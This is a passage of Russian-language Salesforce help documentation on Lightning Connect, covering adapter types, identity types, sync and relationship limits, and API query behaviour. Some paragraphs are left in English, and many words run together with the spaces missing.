или пользовательский адаптер Apex для подключения Salesforce к внешнему источнику данных. Адаптер Salesforce
не поддерживает внешние объекты с разрешениями для записи.

Сведения об операциях записи Apex DML во внешних объектах см. в Руководстве разработчика кода Force.com Apex.

Пример: Моментальный снимок ниже отображает комплексное представление данных, получаемое посредством
Lightning Connect. Страница сведенийо записидля внешнегообъекта Business_Partner содержитдва связанныхсписка
дочерних объектов. Взаимосвязи внешнего поиска и макеты страниц позволяют пользователям просматривать
связанные данные внутри и за пределами организации Salesforce на одной странице.

• Стандартный объект «Организация» (1)

• Внешний объект «Sales_Order» (2)
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Адаптеры Lightning Connect

Lightning Connect использует определяемый протоколом адаптер для подключения к внешней системе и доступа к ее
данным. При определении внешнего источника данных в организации адаптер задается посредством поля «Тип».

Тип удостоверения для внешних источников данных
Поле «Тип удостоверения» внешнего источника данных определяет необходимость использования одного или
нескольких наборов регистрационных данных для доступа к внешней системе. Каждый набор регистрационных
данных соответствует учетной записи во внешней системе.

Коды записей для внешних объектов Lightning Connect

Первоначальное извлечение строки данных из внешней системы инициирует назначение кода Salesforce записи
внешнего объекта.

СМ. ТАКЖЕ:

Взаимосвязи внешних объектов

Рекомендации по использованию Lightning Connect: все адаптеры

Доступ к данным в другой организации посредством адаптера Salesforce для Lightning Connect

Доступ к внешним данным посредством адаптера OData 2.0 или 4.0 для Lightning Connect

Доступ к внешним данным посредством пользовательского адаптера для Lightning Connect

Адаптеры Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Lightning Connect использует определяемый протоколом адаптер для подключения к
внешнейсистемеидоступа к ее данным. Приопределениивнешнегоисточникаданных
в организации адаптер задается посредством поля «Тип».

Ниже перечислены адаптеры, доступные для Lightning Connect.

ОписаниеАдаптер Lightning
Connect

Использует протокол OData для доступа к данным,
хранящимся вне системы Salesforce. Внешние данные
должны быть предоставлены посредством поставщиков
OData.

OData 2.0

OData 4.0

Использует Force.com REST API для доступа к данным,
хранящимся в других организациях Salesforce.

Salesforce

Используется инфраструктура коннекторов Apex для
разработки собственного настраиваемого адаптера при
отсутствии других подходящих адаптеров.

Настраиваемыйадаптерможетполучатьданныеизлюбой
области. Например, одни данные могут извлекаться из

Настраиваемый адаптер,
созданный посредством
Apex

любой области Интернета посредством выносок, тогда
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ОписаниеАдаптер Lightning Connect

какдругиеданныемогутобрабатыватьсяилидаже генерироватьсяпрограммным
способом.

СМ. ТАКЖЕ:

Lightning Connect

Адаптер OData 2.0 или 4.0 для Lightning Connect

Адаптер Salesforce для Lightning Connect

Пользовательский адаптер для Lightning Connect

Тип удостоверения для внешних источников данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Поле «Тип удостоверения» внешнего источника данных определяет необходимость
использования одного или нескольких наборов регистрационных данных для доступа
к внешней системе. Каждый набор регистрационных данных соответствует учетной
записи во внешней системе.

Привыборетипаудостоверения«Названныйсубъект»организацияиспользуеттолько
одну учетную запись во внешней системе.

Привыборетипаудостоверения«Напользователя»организацияиспользуетнесколько
учетных записей во внешней системе. Уникальный набор регистрационных данных
может быть назначен каждому пользователю или группе пользователей, которые
объединяются по определенному признаку (например, функция или бизнес-единица).
После предоставления доступа к внешнему источнику данных посредством наборов
полномочийилипрофилейпользователимогутнастраиватьиуправлять собственными
параметрами проверки подлинности для внешней системы.

Совет: Рекомендуем обучить пользователей процессу настройки параметров
проверки подлинности для внешних систем. Убедитесь, что пользователи
понимают какие регистрационные данные следует вводить для каждой внешней
системы. Прииспользовании OAuth 2.0 рекомендуемпротестироватьпроцесс OAuth
на наличиепотенциальнобесполезныхнапоминанийилипереадресаций, а также
обучить пользователей должным образом. Доступные процессы OAuth
определяютсяиспользуемойвнешнейсистемой, текущимпоставщикомпроверки
подлинности и выбранными областями.

Поле «Тип удостоверения»
содержит значение «На
пользователя»

Поле «Тип удостоверения»
содержит значение «Названный
субъект»

Система использует регистрационные данные, заданные в...Для доступа во внешней системе
к...

Личные параметры проверки
подлинности пользователя для
внешней системы

Определение внешнего источника
данных

Данные

(поиск или просмотр внешних
объектов)
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Поле «Тип удостоверения»
содержит значение «На
пользователя»

Поле «Тип удостоверения»
содержит значение «Названный
субъект»

Система использует регистрационные данные, заданные в...Для доступа во внешней системе
к...

Определение внешнего источника
данных

Определение внешнего источника
данных

Метаданные

(синхронизациядлясозданиявнешних
объектов)

СМ. ТАКЖЕ:

Определение внешнего источника данных для Lightning Connect: адаптер Salesforce

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

Определение внешнего источника данных для Lightning Connect: пользовательский адаптер

Предоставление доступа к параметрам проверки подлинности для внешних источников данных

Хранение параметров проверки подлинности для внешних систем

Коды записей для внешних объектов Lightning Connect

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Первоначальноеизвлечениестрокиданныхизвнешнейсистемыинициируетназначение
кода Salesforce записи внешнего объекта.

Каждыйкод записисохраняет связь с соответствующейстрокойвнешнихданных, кроме
случаев удаления внешнего объекта из организации.

Прим.: Коды Salesforce не назначаются записям внешнего объекта, связанным с
крупными внешними источниками данных.

СМ. ТАКЖЕ:

Коды записей и внешние коды для внешних объектов в Lightning Connect: адаптер
Salesforce

Lightning Connect
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Рекомендации по использованию Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Lightning Connect использует особые алгоритмы и ограничения.

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по совместимости Salesforce для Lightning Connect: все адаптеры
Некоторые функции Salesforce используют особые алгоритмы или недоступны для
внешних объектов Lightning Connect.

Рекомендации по синхронизации для Lightning Connect: все адаптеры
Припроверкеисинхронизациивнешнегоисточникаданныхприменяютсянекоторые
особые алгоритмы и ограничения.

Рекомендации по использованию взаимосвязей для Lightning Connect: все адаптеры
Взаимосвязи поиска, внешнего поиска и непрямого поиска используют некоторые
особые алгоритмы и ограничения.

Рекомендации по использованию лент записей для Lightning Connect: все адаптеры
Ленты Chatter для внешних объектов используют некоторые особые алгоритмы и ограничения.

Рекомендации по использованию запросов API для Lightning Connect: все адаптеры
Особые алгоритмы и ограничения применяются к вызовам queryAll() и queryMore() для внешних данных.

Рекомендации по поиску для Lightning Connect: все адаптеры
Некоторые особые алгоритмы и ограничения влияют на поиски внешних объектов.

Рекомендации по использованию SOSL для Lightning Connect: все адаптеры
Некоторые особые алгоритмы и ограничения влияют на доступ SOSL к внешним данным.

Рекомендации по использованию SOQL для Lightning Connect: все адаптеры
Некоторые особые алгоритмы и ограничения влияют на доступ SOQL к внешним данным.

Рекомендации по использованию внешних объектов с разрешением на запись для Lightning Connect: все адаптеры
Ознакомьтесь с ограничениями и рекомендациями по использованию Lightning Connect для создания, обновления и
удаления данных, которые хранятся вне организации Salesforce.

Рекомендации по пакетированию для Lightning Connect: все адаптеры
Некоторые особые алгоритмы и ограничения влияют на пакетирование внешних источников данных, а также их
зависимых внешних объектов и настраиваемых полей.

Рекомендации по использованию Salesforce1 для Lightning Connect: все адаптеры
Приложение Salesforce1позволяетпользователямпросматриватьиискать внешниеобъекты, ноиспользуетнекоторые
особые алгоритмы и ограничения.

Общие ограничения для Lightning Connect: все адаптеры
Просмотрите ограничения по использованию Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: адаптер Salesforce

Рекомендации по использованию Lightning Connect: адаптеры OData 2.0 и 4.0

Рекомендации по использованию Lightning Connect: пользовательский адаптер

5413

Интеграция внешних данныхРасширение Salesforce посредством интерактивных
инструментов



Рекомендации по совместимости Salesforce для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые функции Salesforce используют особые алгоритмы или недоступны для
внешних объектов Lightning Connect.

• Ниже перечисленыфункции, недоступные для внешних объектов.

– причины общего доступа к Apex

– Триггеры Apex

– Процессы утверждения

– Вложения

– Отслеживание журнала поля

– Потоки (Visual Workflow)

– Поля слияния

– Примечания

– Процессы (конструктор процессов)

– Безопасность записи (общий доступ)

– Типы записей

– Отчеты

– Конструктор схем

– Правила проверки

– Бизнес-правила

• Формулы и поля сводного резюмирования не могут ссылаться на поля внешних объектов.

• Ниже перечислены типы настраиваемых полей, недоступные для внешних объектов.

– Автонумерация

– Валюта

– Формула

– Геолокация

– Взаимосвязь «Основная — подробная»

– Раскрывающийся список

– Раскрывающийся список (со множественным выбором)

– Сводное резюмирование

– Текст (зашифрованный)

– Область обогащенного текста

• Ниже перечислены алгоритмы, применяемые к полям внешних объектов.

– Стандартные значения недоступны для настраиваемых полей внешних объектов.

– Значения полей внешних объектов отображаются без начального и конечного пробелов. Помните об этом при
выполнениифильтрации по полю, которое содержит начальные и конечные пробелы.

Например, включите начальные и конечные пробелы в следующий запрос SOQL, чтобы его значения совпадали
со значениями, которые сохраняются во внешней системе. При этом, однако, пробелы не будут отображаться в
результатах запроса.

SELECT FirstName__c FROM Buyers__x WHERE FirstName__c = ' Test '
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– Когда пользователь или платформа Force.com редактирует настраиваемое поле для записи внешнего объекта,
пробел перед и после значения поля удаляется.

– Прииспользованиитекстовыхполейдлявнешнихобъектовубедитесь, чтоуказаннаядлинаявляетсядостаточной
для отображения внешних значений. Организация Salesforce усекает значение из внешней системы, которое не
соответствуетдлинесвязанноготекстовогополявнешнегообъекта. Воизбежаниеусечения, рекомендуемувеличить
длину текстового поля внешнего объекта.

– Для цифровых полей во внешних объектах необходимо, чтобы в указанной длине помещались все цифры слева
от запятой во внешних значениях. Организация Salesforce пропускает числовое значение из внешней системы,
котороене соответствуетдлинесвязанногочисловогополя внешнегообъекта. Приотображениипустых значений
рекомендуем настроить параметры «Длина» и «Знаки после запятой» для соответствующего числового поля
внешнего объекта. Система усекает внешнее значение, цифры которого, расположенные справа от десятичной
запятой, не соответствуют заданному количеству десятичных знаков.

• Внешние объекты наборов изменений добавляются в компонент настраиваемого объекта.

• При использованииMetadata API внешние объекты отображаются типом метаданных CustomObject.

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по совместимости Salesforce для Lightning Connect: адаптер Salesforce

Некоторые функции Salesforce используют особые алгоритмы или недоступны для внешних объектов, связанных с
внешним источником данных типа «Lightning Connect: Salesforce».

СМ. ТАКЖЕ:

Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Рекомендации по использованию API для Lightning Connect: адаптер Salesforce

Рекомендации по использованию Apex для Lightning Connect: пользовательский адаптер

Рекомендациипо совместимости Salesforce для Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые функции Salesforce используют особые алгоритмы или недоступны для
внешних объектов, связанных с внешним источником данных типа «Lightning
Connect: Salesforce».

• Адаптеру Salesforceдля Lightning Connectмогутбытьдоступнытолько запрашиваемые
объекты в организации поставщика. При определении внешнего объекта, имя
таблицы которого определяет объект, недоступный для запроса, данный внешний
объект не может быть доступен пользователям и платформе Force.com.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по совместимости Salesforce для Lightning Connect: все адаптеры

Адаптер Salesforce для Lightning Connect
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Рекомендации по синхронизации для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При проверке и синхронизации внешнего источника данных применяются некоторые
особые алгоритмы и ограничения.

• Синхронизация инициирует создание илиперезапись внешних объектов Salesforce,
которые соотносятся со схемой внешней системы. Синхронизация не инициирует
копирование данных в организацию Salesforce или запись данных из организации
во внешнюю систему.

• Каждая организация может использовать не более 100 внешних объектов.При
превышении данного ограничения синхронизация прекращается.

• Имена всех стандартных, настраиваемых и внешних объектов должны быть
уникальнымивнутриорганизации.Припопыткесозданиявнешнегообъекта, API-имя
которогоконфликтует с API-именемтекущегообъектаорганизации, синхронизация
прекращается. Еслисинхронизацияпрекращаетсяподаннойпричине, рекомендуем
определить необходимость текущего объекта. Если синхронизация прекращается
по другой причине, рекомендуем удалить данный объект и выполнить
синхронизацию.

При необходимости измените API-имя текущего объекта для его несоответствия имени синхронизируемой таблицы.
Однако, если текущий объект является внешним и синхронизированным ранее, то повторная синхронизация
недоступна. Обновите внешний объект и его поля вручную при изменении схемы во внешней системе.

Совет: Рекомендуем создавать внешние источники данныхи внешние объекты в организации Developer Edition.
Затемрекомендуемиспользоватьуправляемыепакетыдляразвертываниявнешнихисточниковданныхивнешних
объектов в других организациях. Данный алгоритм позволяет внешним объектам избегать конфликтов имен с
другими объектами организации путем применения префикса пространства имен.

• Синхронизация — эторазовыйпроцесс. Внесениеизмененийвсхемувнешнейсистемынеинициируетавтоматическую
синхронизациюизмененийворганизацииSalesforce. Отображениеизмененийвовнешнейсистеметребуетповторной
синхронизации объектов.

• Полю «Статус развертывания» каждоговнешнегообъекта, созданногопосредствомсинхронизации, задается значение
«Вразработке». Чтобыпредоставитьпользователямдоступквнешнемуобъекту, задайтеполю «Статус развертывания»
значение «Развернуто». Повторная синхронизация внешнего объекта не инициирует изменение его статуса
развертывания.

• При повторной синхронизации внешнего объекта:

– Полю «Ссылочное поле отображаемого URL-адреса» задается значение «Нет».

– Атрибут «Является полем имени», заданный настраиваемому полю, удаляется. Стандартное поле «Внешний
код» используется в качестве поля имени внешнего объекта.

• ПрисинхронизацииполявзаимосвязивовнешнихобъектахнесоздаютсяворганизацииSalesforce. Однакопользователь
может изменить тип поля, созданного синхронизацией, на варианты «Взаимосвязь поиска», «Взаимосвязь внешнего
поиска» или «Взаимосвязь непрямого поиска». Изменение типа существующего настраиваемого поля проще и
эффективнее, чем создание поля взаимосвязи с внешним объектом вручную.

Предположим, что во внешней системе имеется взаимосвязь с внешним ключом. Синхронизация связанных таблиц
создаеттекстовоеполеворганизациипользователявовнешнемстолбце, гдеуказанывнешниеключи. Чтобыотобразить
взаимосвязь с внешним ключом внутри организации пользователя, поменяйте тип этого текстового поля на
«Взаимосвязь внешнего поиска».
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• Полевзаимосвязипредставляетсобойодинизтиповнастраиваемогополя. Такимобразом, подобновсемнастраиваемым
полям внешнего объекта, поля взаимосвязи могут быть переписаны при синхронизации с внешним объектом. См.
рекомендации по синхронизации для каждого адаптера Lightning Connect, который вы используете.

• При использовании текстовых полей для внешних объектов убедитесь, что указанная длина является достаточной
для отображения внешних значений. Организация Salesforce усекает значение из внешней системы, которое не
соответствует длине связанного текстового поля внешнего объекта. Во избежание усечения, рекомендуем увеличить
длину текстового поля внешнего объекта.

• Для цифровых полей во внешних объектах необходимо, чтобы в указанной длине помещались все цифры слева от
запятой во внешних значениях. Организация Salesforce пропускает числовое значение из внешней системы, которое
несоответствуетдлинесвязанногочисловогополявнешнегообъекта. Приотображениипустыхзначенийрекомендуем
настроитьпараметры «Длина» и «Знаки после запятой» для соответствующегочисловогополя внешнегообъекта.
Система усекает внешнее значение, цифрыкоторого, расположенныесправаотдесятичнойзапятой, не соответствуют
заданному количеству десятичных знаков.

Также просмотрите рекомендации для всех используемых адаптеров Lightning Connect.

Рекомендации по синхронизации для Lightning Connect: адаптер Salesforce

При проверке и синхронизации внешнего источника данных типа «Lightning Connect: Salesforce»
применяются некоторые особые алгоритмы и ограничения.

Рекомендации по синхронизации для Lightning Connect: адаптер OData 2.0 или 4.0

При проверке и синхронизации внешнего источника данных типа «Lightning Connect: OData 2.0 или
Lightning Connect: OData 4.0, применяются некоторые особые алгоритмы и ограничения.

Рекомендации по использованию Sync для Lightning Connect: пользовательский адаптер
При проверке и синхронизации внешнего источника данных типа «Lightning Connect: Пользовательский,
применяются некоторые особые алгоритмы и ограничения.

СМ. ТАКЖЕ:

Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Статус развертывания для настраиваемых и внешних объектов

Рекомендациипо синхронизациидля Lightning Connect: адаптер Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При проверке и синхронизации внешнего источника данных типа «Lightning
Connect: Salesforce» применяютсянекоторыеособыеалгоритмыиограничения.

• Объекты и поля, доступные для синхронизации, определяются полномочиями
объектов и полномочиями полей, назначенными пользователю организации
поставщика, регистрационные данные которого задаются определением внешнего
источника данных. См. раздел «Доступ пользователя к внешним данным в Lightning
Connect: адаптер Salesforce» на странице 5440.

• Синхронизации подлежат только запрашиваемые объекты.

• Объект, API-имя которого содержит не менее 38 символов, не может быть
синхронизирован. Имя внешнего объекта может содержать не более 40 символов,
включая автоматически добавляемый суффикс __x. См. раздел «API-имена для
внешних объектов и настраиваемых полей в Lightning Connect: адаптер Salesforce» на
странице 5439.
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• Данные типы полей не синхронизируются.

– Автонумерация

– Текст (зашифрованный)

– Область обогащенного текста

• Полявзаимосвязи «Иерархия», «Поиск» и «Основная — подробная» подлежатсинхронизации. Темнеменееорганизация
подписчика отображает их значения как коды, но не как имена записей.

Например, синхронизацииподлежитобъект «Организация». Припросмотреорганизации 1 ворганизациипоставщика
поле «Ответственный за организацию» (Account.OwnerId) отображает значение «Иван Петров». При просмотре
эквивалентной организации в организации подписчика поле (Account__x.OwnerId__c) отображает значение
«005B00000019eapIAA».

• Имена и метки синхронизированных полей в организации подписчика извлекаются из API-имен (не меток) полей в
организации поставщика. Например, объект «Организация» в организации поставщика содержит стандартное поле
«Ответственный за организацию» (OwnerId). При синхронизации объекта «Организация» полю
Account__x.OwnerId__c в организации подписчика назначается метка «Код ответственного» и имя «OwnerId».

Важное замечание: Привыбореобъектоворганизациипоставщикадля синхронизацииопределитенеобходимость
отображения флажка в столбце «Синхронизировано».

При наличиифлажка «Синхронизировано» организация подписчика использует внешний объект, имя которого
(например, Account__x) связывает его с объектом в организациипоставщика (например, Account). При выборе
объекта и выполнении действия «Синхронизировать»:

• Система перезаписывает внешний объект.

• Системаперезаписываетлюбоенастраиваемоеполевнешнегообъекта, еслиего API-имя (например, Email_c__c)
связывает его с полем в организации поставщика (например, Email__c).

• Система сохраняет как есть любые другие настраиваемые поля внешнего объекта, включая:

– Ранее синхронизированные настраиваемые поля, API-имена которых изменились путем редактирования
значений «Имя поля».

– Вручную добавленные настраиваемые поля, API-имена которых не связаны с полями объекта в организации
поставщика.

При отсутствии флажка «Синхронизировано» синхронизация объекта инициирует создание внешнего объекта в
организации подписчика.

Например, при изменении имени объекта в организации поставщика для его разъединения с именем внешнего
объекта в организации подписчика. Синхронизация данного объекта инициирует создание внешнего объекта в
организации подписчика. Рекомендуем выполнять синхронизацию только после изменения имени текущего
внешнего объекта в соответствии с обновленным именем объекта в организации поставщика.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

API-имена для внешних объектов и настраиваемых полей в Lightning Connect: адаптер Salesforce

Организации подписчика и поставщика в Lightning Connect: адаптер Salesforce

Рекомендации по синхронизации для Lightning Connect: все адаптеры

Адаптер Salesforce для Lightning Connect
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Рекомендациипо синхронизациидля Lightning Connect: адаптер OData 2.0 или 4.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При проверке и синхронизации внешнего источника данных типа «Lightning
Connect: OData 2.0 или Lightning Connect: OData 4.0, применяются
некоторые особые алгоритмы и ограничения.

• Список поддерживаемых типов OData см. в разделе «Соотнесение типов OData»
справки Salesforce.

Важное замечание: При выборе таблиц для синхронизации определите
необходимость отображения флажка в столбце «Синхронизировано».

При наличиифлажка «Синхронизировано» организация использует внешний
объект, имя которого соответствует имени таблицы. При выборе таблицы и
выполнении действия «Синхронизировать»:

• Система перезаписывает внешний объект.

• Любое настраиваемое поле для внешнего объекта перезаписывается, если имя
его API (например, Email__c) связывает его с именем столбца таблицы
(например, Email).

• Системасохраняеткакестьлюбыедругиенастраиваемыеполявнешнегообъекта,
включая:

– Ранее синхронизированные настраиваемые поля, API-имена которых
изменились путем редактирования значений «Имя поля».

– Пользовательскиеполя, добавленныевручную, API-именакоторыхнесвязаны
с именами столбца таблицы.

Приотсутствиифлажка «Синхронизировано»синхронизациятаблицыинициирует
создание внешнего объекта в организации. Имя нового внешнего объекта
соответствует имени таблицы.

Например, при изменении имени таблицы во внешней системе для его
несоответствия имени внешнего объекта синхронизация данной таблицы
инициирует создание внешнего объекта в системе Salesforce. Рекомендуем
синхронизировать данную таблицу только после изменения имени текущего
внешнего объекта в соответствии с новым именем таблицы во внешней системе.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по синхронизации для Lightning Connect: все адаптеры

Определение внешнего источника данных для Lightning Connect: адаптер OData 2.0 или 4.0

Адаптер OData 2.0 или 4.0 для Lightning Connect

Соотнесение типов OData
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Рекомендациипоиспользованию Sync для Lightning Connect: пользовательскийадаптер

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

При проверке и синхронизации внешнего источника данных типа «Lightning
Connect: Пользовательский, применяются некоторые особые алгоритмы и
ограничения.

Важное замечание: При выборе таблиц для синхронизации определите
необходимость отображения флажка в столбце «Синхронизировано».

If a Synced check mark appears, your org has an external object whose object name matches
the table name. Привыборетаблицыивыполнениидействия«Синхронизировать»:

• Система перезаписывает внешний объект.

• Любое настраиваемое поле для внешнего объекта перезаписывается, если имя
его API (например, Email__c) связывает его с именем столбца таблицы
(например, Email).

• Системасохраняеткакестьлюбыедругиенастраиваемыеполявнешнегообъекта,
включая:

– Ранее синхронизированные настраиваемые поля, API-имена которых
изменились путем редактирования значений «Имя поля».

– Пользовательскиеполя, добавленныевручную, API-именакоторыхнесвязаны
с именами столбца таблицы.

If no Synced check mark appears, and you sync the table, a new external object is created in
your org. Имя нового внешнего объекта соответствует имени таблицы.

Например, предположим, чтовыизменитеимятаблицывклассепользовательского
адаптера DataSource.Connection больше не соответствует имени внешнего
объекта. При синхронизации этой таблицы создается внешнийобъект в Salesforce.
Рекомендуем синхронизировать данную таблицу только после изменения имени
текущего внешнего объекта в соответствии с новым именем таблицы в классе
DataSource.Connection.

Также изучите рекомендации, применимые ко всем адаптерам Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по синхронизации для Lightning Connect: все адаптеры

Определение внешнего источника данных для Lightning Connect: пользовательский адаптер

Пользовательский адаптер для Lightning Connect
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Рекомендации по использованию взаимосвязей для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Взаимосвязи поиска, внешнего поиска и непрямого поиска используют некоторые
особые алгоритмы и ограничения.

• Внешние объекты поддерживают только взаимосвязи поиска, внешнего поиска и
непрямого поиска. Другие типы взаимосвязей не поддерживаются.

• В зависимости от доступности внешней системы, связанные списки дочерних
внешних объектов могут отличаться медленной загрузкой при просмотре страниц
сведений о родительских записях.

• Relationships that involve external objects allow users to create child records from the record
detail pages of parent records. However, the relationship field on each new child record isn’t
automatically populated to identify the parent record.

• Syncing doesn’t create relationship fields on the external objects in your Salesforce org. However,
you can change the field type of a sync-created custom field to Lookup Relationship, External
Lookup Relationship, or Indirect Lookup Relationship. Changing the field type of an existing
custom field is simpler and more efficient than manually creating a relationship field on the
external object.

For example, suppose that the external system has a foreign key relationship. Syncing the related tables creates a text field in your
org for the external column that identifies the foreign keys. To reflect the foreign key relationship within your org, change the field
type of that text field to External Lookup Relationship.

• A relationship field is a type of custom field. Therefore, like all custom fields on an external object, relationship fields can be overwritten
when you sync the external object. See the sync considerations for each Lightning Connect adapter that you use.

• Взаимосвязи внешних объектов не поддерживают каскадное удаление.

• In Salesforce Classic only, external lookup and indirect lookup relationship fields don’t display the expected names of parent records.

– An external lookup field displays either the parent object ID or the value of the parent object's External ID standard field. The
latter appears by default. If, however, a custom field on the parent object has the Is Name Field attribute, the parent object ID is
displayed.

– An indirect lookup field displays the value of the target field on the parent object. To find related records, target field values are
matched against the values of the indirect lookup relationship field on the child object. The target field, which has the External
ID  and Unique  attributes, is selected when an indirect lookup field is created.

• When a user tries to edit an external lookup or indirect lookup relationship field, a lookup dialog isn’t available for selecting the
parent record.

– To edit an external lookup relationship field, manually enter the value of the External ID  standard field for the parent
record.

– To edit an indirect lookup relationship field, manually enter the value of the target field of the parent record. The target field is
the custom field with External ID  and Unique  attributes that was selected when the indirect lookup relationship was
created. To determine related records, Salesforce matches target field values against the values of the indirect lookup relationship
field on the child object.

• При использовании взаимосвязей внешнего поиска и непрямого поиска родительская запись отображается как
активнаяссылкавполевзаимосвязидочернейзаписи. Еслидочерняя записьпросматриваетсяпользователем, которому
недоступна родительская запись, то родительская запись отображается в поле взаимосвязи в виде обычного текста.

• Поля взаимосвязи внешнего поиска не поддерживают фильтры поиска.

• Поля взаимосвязи непрямого поиска могут создаваться только для внешних объектов.
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• Только объекты, содержащие настраиваемое поле с атрибутами «Внешний код» и «Уникальное», доступны во
взаимосвязяхнепрямогопоиска в качестверодительскихобъектов.Приотсутствиинужногообъекта вовремясоздания
поля взаимосвязинепрямогопоискарекомендуемдобавитьнастраиваемоеполе уникальноговнешнегокода в данный
объект.

СМ. ТАКЖЕ:

Взаимосвязи внешних объектов

Рекомендации по синхронизации для Lightning Connect: все адаптеры

Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Рекомендации по использованию лент записей для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ленты Chatter для внешних объектов используют некоторые особые алгоритмы и
ограничения.

• Внешние объекты не поддерживают функцию отслеживания журнала поля.

• Лентызаписейнеподдерживаются внешнимиобъектами Lightning Connect, которые
соотносятся с крупными внешними источниками данных.

СМ. ТАКЖЕ:

Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Рекомендации по использованию запросов API для Lightning Connect: все адаптеры

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Особые алгоритмы и ограничения применяются к вызовам queryAll() и
queryMore() для внешних данных.

queryAll()
СистемаSalesforceнеотслеживаетизменениявнешнихданных, поэтому queryAll()
выполняется аналогично query() для внешних объектов.

queryMore()
Как правило, запросы Lightning Connect для внешних данных возвращают большой
результирующийнабор, которыйразбиваетсянаболеемелкиепакетыилистраницы.
Призапросевнешнихобъектов Lightning Connectполучаетдоступквнешнимданным
в режиме реального времени посредством выносок веб-служб. Каждый вызов
queryMore() возвращаетвыноскувеб-службы. Границыпакетаиразмерыстраницы
определяются адаптером и способом настройки внешнего источника данных.

Воспользуйтесь рекомендациями ниже.

• Рекомендуемизбегатьпагинациипутемфильтрациизапросоввнешнихобъектов
для возвратаменьшегоколичества строк, чемразмерпакета, которыйпоумолчаниюсоставляет500 строк. Помните,
чтополучение каждогопакета требует выполнения вызова queryMore(), возвращающего выноску веб-службы.
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• Причастомизменениивнешнихданныхрекомендуемизбегатьиспользованиявызовов queryMore(). Изменение
внешних данных между вызовами queryMore() может инициировать непредвиденный QueryResult.

Если основной объект для оператора SELECT является внешним, то queryMore() поддерживает только данный
основной объект и не поддерживает подзапросы.

Рекомендации по использованию запросов API для Lightning Connect: адаптер OData 2.0

Некоторые особые алгоритмы и ограничения влияют на запросы API внешних данных посредством адаптера OData
2.0 для Lightning Connect.

Рекомендации по использованию запросов API для Lightning Connect: настраиваемый адаптер
Некоторые особые алгоритмы и ограничения влияют на запросы API внешних данных посредством настраиваемых
адаптеров для Lightning Connect.

СМ. ТАКЖЕ:

Рекомендации по использованию SOQL для Lightning Connect: все адаптеры

Lightning Connect

Рекомендации по использованию Lightning Connect: все адаптеры

Рекомендациипоиспользованиюзапросов API для Lightning Connect: адаптер OData 2.0

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Некоторые особые алгоритмы и ограничения влияют на запросы API внешних данных
посредством адаптера OData 2.0 для Lightning Connect.

По умолчанию адаптер OData 2.0 для Lightning Connect использует пагинацию под
управлением клиента.Так, адаптер OData 2.0 преобразует каждый вызов queryMore()
в запрос OData, использующий системные параметры запроса $skip и $top для
определения границы пакета и размера страницы. Данные параметры аналогичны
использованию условий LIMIT и OFFSET для постраничного просмотра
результирующего набора.

